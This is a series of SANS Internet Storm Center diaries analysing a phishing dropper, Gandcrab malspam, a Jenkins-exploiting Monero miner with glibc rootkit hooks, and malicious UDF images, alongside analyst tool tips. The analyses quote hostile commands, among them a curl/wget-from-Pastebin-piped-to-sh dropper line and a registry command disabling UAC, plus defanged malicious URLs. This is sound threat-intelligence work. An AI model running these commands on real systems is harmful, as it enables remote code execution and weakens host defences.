When the victim clicks on thee "Review and take action" button, (s)he is redirected to a first website:

hxxp://xoxouload[.]ml

This automatically redirects to a second site via a HTTP/301 code:

hxxp://217[.]199[.187[.]73/verifiedvsa.com/www.office365.com/OneDrive.htm

The following picture is displayed:

Yes, this is just a simple picture, no links are active. Where is the issue? Two seconds after that page has been loaded, the browser asks the victim to save a file. The HTML code contains indeed a new redirect:

<meta http-equiv="Refresh" content="2;URL=hxxp://bit[.]ly/2WzXy5t">

The shortened URL links to:

hxxp://lichxuanohha[.]com/wp-content/themes/xcx/i47.php

This URL drops a malicious file called "Academics.pdf.exe" (SHA256: ba2598fdd2e5c12e072fbe4c10fcdc6742bace92c0edba42ca4ca7bc195cb813). When I grabbed the file for the fist time on Friday, it was unknown on VT. Since, it has been uploaded by someone else and has a score of 47/71[1]. The file is identified by many AV's as a Banking Trojan but, while performing a basic analysis, I found that the malware drops this picture on the target:

I search for this email address and found a Tweet by @malwarehunterteam from April 25:

Some actions performed by the malware:

C:\Windows\system32\cmd.exe /c wusa C:\Users\admin\AppData\Local\Temp\32.cab /quiet /extract:C:\Windows\system32\migwiz\ & exit
wusa C:\Users\admin\AppData\Local\Temp\32.cab /quiet /extract:C:\Windows\system32\migwiz\

This drops a crypt.dll in C:\Windows\system32\migwiz\ (SHA256: 856623bc2e40d43960e2309f317f7d2c841650d91f2cd847003e0396299c3f98)[2]

"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\888.vbs"
"C:\Windows\System32\migwiz\migwiz.exe" C:\Windows\System32\cmd.exe /c C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

I saw many files created on the Desktop with filenames "lock_<randomstring>.<extension> but the honeypot files were not encrypted. I'm still having a look at the sample.

[1] https://www.virustotal.com/gui/file/ba2598fdd2e5c12e072fbe4c10fcdc6742bace92c0edba42ca4ca7bc195cb813/detection
[2] https://www.virustotal.com/gui/file/856623bc2e40d43960e2309f317f7d2c841650d91f2cd847003e0396299c3f98/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

If you follow us and read our daily diaries, you probably already know some famous tools developed by Didier (like oledump.py, translate.py and many more). Didier is using them all the time to analyze malicious documents. His tools are also used by many security analysts and researchers. The complete toolbox is available on his github.com page[1]. You can clone the repository or download the complete package available as a zip archive[2]. However, it’s not convenient to install them all the time when you’re switching from computers all the time if, like me, you’re always on the road between different customers.

Being a fan of Docker containers, I built a Docker image called “DSSuite” (a not very original name :-) that contains all Didier’s tools preinstalled and ready to use from any system that has Docker available. The image is available on hub.docker.com[3]. 

To use it, just pull the image:

$ docker pull rootshell/dssuite

Once done, you can use tools directly from Docker or start an interactive shell. First, let’s try a simple oledump against a sample OLE file:

$ file malicious_ole.vir
malicious_ole.vir: Composite Document File V2 Document, Cannot read section info
$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oledump.py malicious_ole.vir
  1: O   49737 '\x01Ole10Native'
  2:         6 '\x03ObjInfo’

If you don’t pass arguments to the container, an interactive shell will be started:

$ docker run -it -v $(pwd):/malware rootshell/dssuite
 ____  ____ ____        _ _
|  _ \/ ___/ ___| _   _(_) |_ ___
| | | \___ \___ \| | | | | __/ _ \
| |_| |___) |__) | |_| | | ||  __/
|____/|____/____/ \__,_|_|\__\___|

Version 1.0 - Help: https://blog.didierstevens.com/my-software/

root@a43d72df1d9b:/malware#

Note that you need to map a /malware volume to access the malicious files to analyze

For more convenience, just create an alias like this in your shell to call directly the commands:

$ alias dssuite='docker run -it --rm -v $(pwd):/malware rootshell/dssuite $@‘
$ dssuite oledump.py sample.doc

Most of the tools are running out of the box but let me know if you detect some issues and I'll keep the Docker updated

[1] https://github.com/DidierStevens/DidierStevensSuite
[2] https://didierstevens.com/files/software/DidierStevensSuite.zip
[3] https://hub.docker.com/r/rootshell/dssuite

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Introduction

For today's diary I play a game of email roulette.  My version of email roulette is picking a recent item of malicious spam (malspam), running the associated email attachment in a live sandbox, and identifying the malware.  I acquired a recent malspam example through VirusTotal (VT) Intelligence.  Let's see what the roulette wheel give us today!

Searching for malspam attachments in VT Intelligence

VT Intelligence is a subscription server, and from what I understand, it's fairly expensive.  Fortunately I have access through my employer.  In the VT Intelligence search window, I used the following parameters:

tag:attachment fs:2019-05-07+ p:3+

This returned anything tagged as an email attachment, first seen on or after 2019-05-07, with at least 3 vendors identifying an item as malicious.  After the results appeared, I sorted by the most recent submissions.

Shown above:  Searching and sorting in the VT Intelligence portal.

Shown above:  Results sorted by most recent at the time of my search.

The three most recent results I saw were 7-zip archives (.7z files).  The file names did not use ASCII characters, but were base64 encoded.  The base64 string represents UTF-8 characters, where the format is name:"=?utf-8?B?[base64 string]?="

I picked the most recent result and selected the relations tab, which revealed the associated malspam.  Then I retrieved that email from VT Intelligence.

Shown above:  Pivoting on the attachment to find its parent email.

Shown above:  The email opened in Thunderbird on a Windows 7 host.

The attached 7-zip archive contained 3 files with different names, but they were all the same file hash, so they were the same malware.  I extracted them and ran one on a vulnerable Windows host.  The result was a Gandcrab ransomware infection.

Shown above:  Encrypted files and the ransom note on my infected Windows host.

Indicators

The following are indicators associated with this infection:

SHA256 hash: 39f97e750a8ebcc68a5392584c9fd8edc934e978d6495d3ae430cb7ee3275ffe

• File size: 157,810 bytes
• File description: Example of Korean malspam (.eml file) pushing Gandcrab

SHA256 hash: 5444841becddce7ef2601752df63db2a9d067d46a359d8b0288da2ebf494ff41

• File size: 112,792 bytes
• File description: 7-zip archive (.7z file) attached to Korean malspam

SHA256 hash: df53498804b4e7dbfb884a91df7f8b371de90d6908640886f929528f1d6bd0cc

• File size: 173,568 bytes
• File description: Gandcrab executables (.exe files) extracted from the above .7z archive
• Any.Run sandbox analysis

Final words

This round of email roulette gave us a Gandcrab ransomware infection.  What type of malware might I find next?  Perhaps we'll know when I try this again next month for another diary.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

An ongoing malicious campaign is looking for vulnerable Apache Jenkins installations to deploy a Monero cryptominer. The dropper uses sophisticated techniques to hide its presence on the system, to move laterally and to look for new victims on the internet. It also downloads and runs the miner software – of course.

The exploited vulnerability, CVE-2018-1000861 [1], was published in December 2018. It affects Stapler Web framework used by Jenkins 2.153 and earlier. It may allow attackers to invoke methods on Java objects by accessing crafted URLs.

Looking for publicly available exploits for this vulnerability, I could find a detailed proof of concept published early March this year.

After analyzing the threat which attacked one of my honeypots, I created the diagram shown in the picture below. Follow the numbers in blue to understand each step.

Vulnerability Exploitation

In the picture below, you can see the exploitation occurring. 

Notice that there is a base64 encoded content piped to bash for execution. Decoding this content, it was possible to see that this campaign is using Pastebin as the C2:

(curl -fsSL hxxps://pastebin[.]com/raw/wDBa7jCQ||wget -q -O- hxxps://pastebin[.]com/raw/wDBa7jCQ)|sh

The content of the paste ‘wDBa7jCQ’ is no longer available, but the content was another paste:

(curl -fsSL hxxps://pastebin[.]com/raw/D8E71JBJ||wget -q -O- hxxps://pastebin[.]com/raw/D8E71JBJ)|sed 's/\r//'|sh

The content of ‘D8E71JBJ’ paste is no longer available also, but it was the shell script down in following images.

The Dropper

The dropper named “Kerberods” (not “Kerberos” as the protocol) caught my attention due to the way it is packed and the way it acts if it has ‘root’ privileges on the machine.

After analyzing the binary, I could see that the packer used was a custom version of ‘UPX’. UPX is an open source software and there are many ways UPX can be modified to make it hard to unpack the file using regular UPX version. There is a great presentation on this subject by @unixfreaxjp [2] called ‘Unpacking the non-unpackable’ which shows different forms to fix ELF headers in order to unpack files.

Fortunately, in this case, the UPX customizations involved just the modification of the magic constant UPX_MAGIC_LE32 from 'UPX' to some other three letters. Thus, reverting it to UPX in different parts of the binary, it was possible to unpack the binary with the regular version of UPX.

The Glibc hooks

The other interesting part is the way ‘Kerberods’ acts to persist and hide itself if has root privileges on the machine.

If it is the case, it drops, compiles and loads a library into the operating system that hooks different functions of Glibc to modify its behavior. In other words, it acts like a rootkit.

In the image below it is possible to see that the function ‘open’ will now check for some strings in the ‘pathname’ to act in a different way. The intention is to avoid anyone (including root) to be able to open the binary ‘khugepageds’, which is the cryptominer, the ‘ld.so.preload’, which is the file that loads the malicious library and the library ‘libpamcd.so’ itself.

 

Another hook, to show one more example, hides the network connection to the private mining pool and the scan for open Redis servers, as seen in the image below.

 

Indicators of Compromise (IOCs)

Filesystem
74becf0d1621ba1f036025cddffc46d4236530d54d1f913a4d0ad488099913c8
Bab27f611518dc55b00b1a9287bdb8e059c4f4cc1607444f40e0c45d5842994f
43a00e0dd57d110d1c88b18234185267ca2a79f8ae1905bef4ba225144c992d2
 

Network
SYSTEMTEN[.]ORG:51640
 

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

I gave a few tips over the last weeks to help friends with processing files. Turned out that each time, UNICODE was involved.

Xavier had an issue with a malicious UDF file. I took a look with a binary editor:

The first bytes, FF FE, reminded me of a BOM: a Byte Order Mark. FF FE or FE FF can be found at the start of UTF-16 text files. It indicates the endianness: little endian (screenshot) or big endian.

Command file confirmed the endianness:

The fact that it contains just null bytes is unusual, but then again, this is actually not a text file, but an UDF file that was probably opened and saved with a text editor.

Another friend had a problem having a an XML file parsed by a SIEM. It threw an unusual, obscure error. It turned out here too, that the file was UNICODE, while the SIEM expected an ASCII file.

When opening text files with an editor, it's often not trivial to determine the encoding of the file. And not everyone is comfortable using an hexadecimal error.

If you want a command-line tool, I recommend the file command.

For a GUI tool on Windows, you can use the free text editor Notepad++.

It displays the encoding of the displayed file in its status bar:

LE BOM tells us that the file contains a BOM and is little endian. UCS-2 (an ISO standard equivalent with UNICODE and the basis for UTF-16). And we get bonus information: the line separator is carriage return / linefeed (CR LF). This was something Xavier had to deal with too.

This editor can of course convert encodings:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

In this entry in my series, I'll look at a few more of the features I regularly use in IDA and how to accomplish the same in Ghidra.

The first one is simple conversion. In this case, hex to ASCII characters (classic stack strings stuff that we cover in Day 5 of FOR610). I miss IDA's 'R' key mapping, but that is currently taken by View/Edit References From. You can change that or create your own key mapping, Ctrl-Alt-R isn't currently taken, so that's what I use. Just like in IDA, you can right-click on the value, but then you have to choose Convert and then Char from the submenu.

Another of the features I use regularly, is renaming arguments, variables, and functions as I begin to figure out their purposes. In IDA, this is the 'N' key, in Ghidra, it is the 'L' key for Label. It works exactly like in IDA. In the screenshot below, you'll see it in the right-click menu.

And below is the actual dialog to do the renaming.

And, the last functionality I want to cover in this post is comments. There are 4 (well, 5) types of comments that you can create with Ghidra. Pre-comments which will appear above the instruction where you place it, post-comments which appear below, EOL (and repeatable) comments at the end of the line, and Plate comments, which change the generic "Function" comment at the top of the function. I actually like some of the additions, especially the plate comment which can be used to fill in info on what I've discovered about the functionality of the function in question.

And here are examples of each

I've got at least one more post in this series, probably next week. As with the others, if you have any tips, comments, corrections, etc. let me know via our contact page, e-mail, or via the comments below. Until next time,...

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

In some cases, like malicious Word documents without VBA source code, you want to know which version of Office was used to create the VBA macros. Because compiled macros (VBA) don't run on all versions.

This information can be found inside the _VBA_PROJECT stream:

The 3rd and 4th bytes in this stream are a little endian word, whose value indicates the version of Office that was used to create the VBA code. This is all documented by Microsoft, except for the field values themselves.

Here is a list I compiled for different Office versions (Windows):

Office Version	32-bit	64-bit
95	0x0004	N/A
XP	0x0073	N/A
2003	0x0079	N/A
2007	0x0085	N/A
2010	0x0097	0x0097
2013	0x00A3	0x00A6
2016	0x00AF	0x00B2
2019	0x00AF	0x00B2

 

 

 

 

 

 

 

 

 

If you have other info for other versions, please post a comment or submit a sample.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

In my last diary, I explained that I found a malcious UDF image used to deliver a piece of malware[1]. After this, I created a YARA rule on VT to try to spot more UDF files in the wild. It seems like the tool ImgBurn is the attacker's best friend to generate such malicious images. To find more UDF images, I used the following very simple YARA rule:

rule ImgBurnedFile
{
    strings:
        $s1 = "ImgBurn v2" nocase wide

    condition:
        all of them and new_file
}

I received some false positive hits but one file looked particularly interesting. In YARA rules, when you specify the keyword “wide”, YARA will search for strings encoded with two bytes per character (read: Unicode).

The file that I spotted was indeed in Unicode text and scored "0" on VT (SHA256: bef7985aa8bda67e628de4100ce5d7f1e26754199578d7fc72ddbe00f3427c9f)[2]

$ file bef7985aa8bda67e628de4100ce5d7f1e26754199578d7fc72ddbe00f3427c9f.bad
bef7985aa8bda67e628de4100ce5d7f1e26754199578d7fc72ddbe00f3427c9f.bad: Unicode text, UTF-32, little-endian

I decoded the file with the iconv tool and got an ISO9660 image:

$ iconv -c -f UTF-16LE -t ASCII bef7985aa8bda67e628de4100ce5d7f1e26754199578d7fc72ddbe00f3427c9f.bad \
    >bef7985aa8bda67e628de4100ce5d7f1e26754199578d7fc72ddbe00f3427c9f-decoded.bad
$ file bef7985aa8bda67e628de4100ce5d7f1e26754199578d7fc72ddbe00f3427c9f-decoded.bad
bef7985aa8bda67e628de4100ce5d7f1e26754199578d7fc72ddbe00f3427c9f-decoded.bad: ISO 9660 CD-ROM filesystem data 'NEW_FOLDER'

But it was impossible to mount the image:

$ mount -t iso9660 -o loop \
    bef7985aa8bda67e628de4100ce5d7f1e26754199578d7fc72ddbe00f3427c9f-decoded.bad /mnt/udf
mount: /mnt/udf: wrong fs type, bad option, bad superblock on /dev/loop3, missing codepage or helper program, or other error.

While discussing about this file with Didier, he found that the file was also converted from UNIX to Dos (with 0x0A’s replaced by 0x0D0x0A’s). I found 52 occurences of ‘\r\n’ in the file:

$ grep --binary "\r\n" -c bef7985aa8bda67e628de4100ce5d7f1e26754199578d7fc72ddbe00f3427c9f-decoded.bad
52

I converted them using dos2unix:

$ dos2unix -f -n bef7985aa8bda67e628de4100ce5d7f1e26754199578d7fc72ddbe00f3427c9f-decoded.bad \
    bef7985aa8bda67e628de4100ce5d7f1e26754199578d7fc72ddbe00f3427c9f-decoded-unix.bad
dos2unix: converting file bef7985aa8bda67e628de4100ce5d7f1e26754199578d7fc72ddbe00f3427c9f-decoded.bad to file \
    bef7985aa8bda67e628de4100ce5d7f1e26754199578d7fc72ddbe00f3427c9f-decoded-unix.bad in Unix format...

Once again, no luck, the image could not be mounted. As Didier likes to work more with Windows tools, he decoded the file on his side with UltraEdit and successfully mounted the image via the tool UltraISO. Finally, it was possilble to extract the PE file ‘SHIPMENT.EXE’ (SHA256: 22238c4b926d3c96d686377d480e5371d22a5839367db687922242c45c8321dc). The PE file is corrupted probably due to the aggressive search/replace of all ‘\r\n’ in the file. The PE file is a compiled AutoIT script. I uploaded the sample by myself on VT and it got a score of 11/71[3].

The next question is: Why was the initial file encoded? It is to download it as a second stage in a stealthy way? The stage one should then decode it properly (but how to not corrupt the PE file?). Did you already seen the same kind of malicious UDF images, please share!

[1] https://isc.sans.edu/forums/diary/Malware+Sample+Delivered+Through+UDF+Image/24854/
[2] https://www.virustotal.com/#/file/bef7985aa8bda67e628de4100ce5d7f1e26754199578d7fc72ddbe00f3427c9f/detection
[3] https://www.virustotal.com/#/file/22238c4b926d3c96d686377d480e5371d22a5839367db687922242c45c8321dc/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key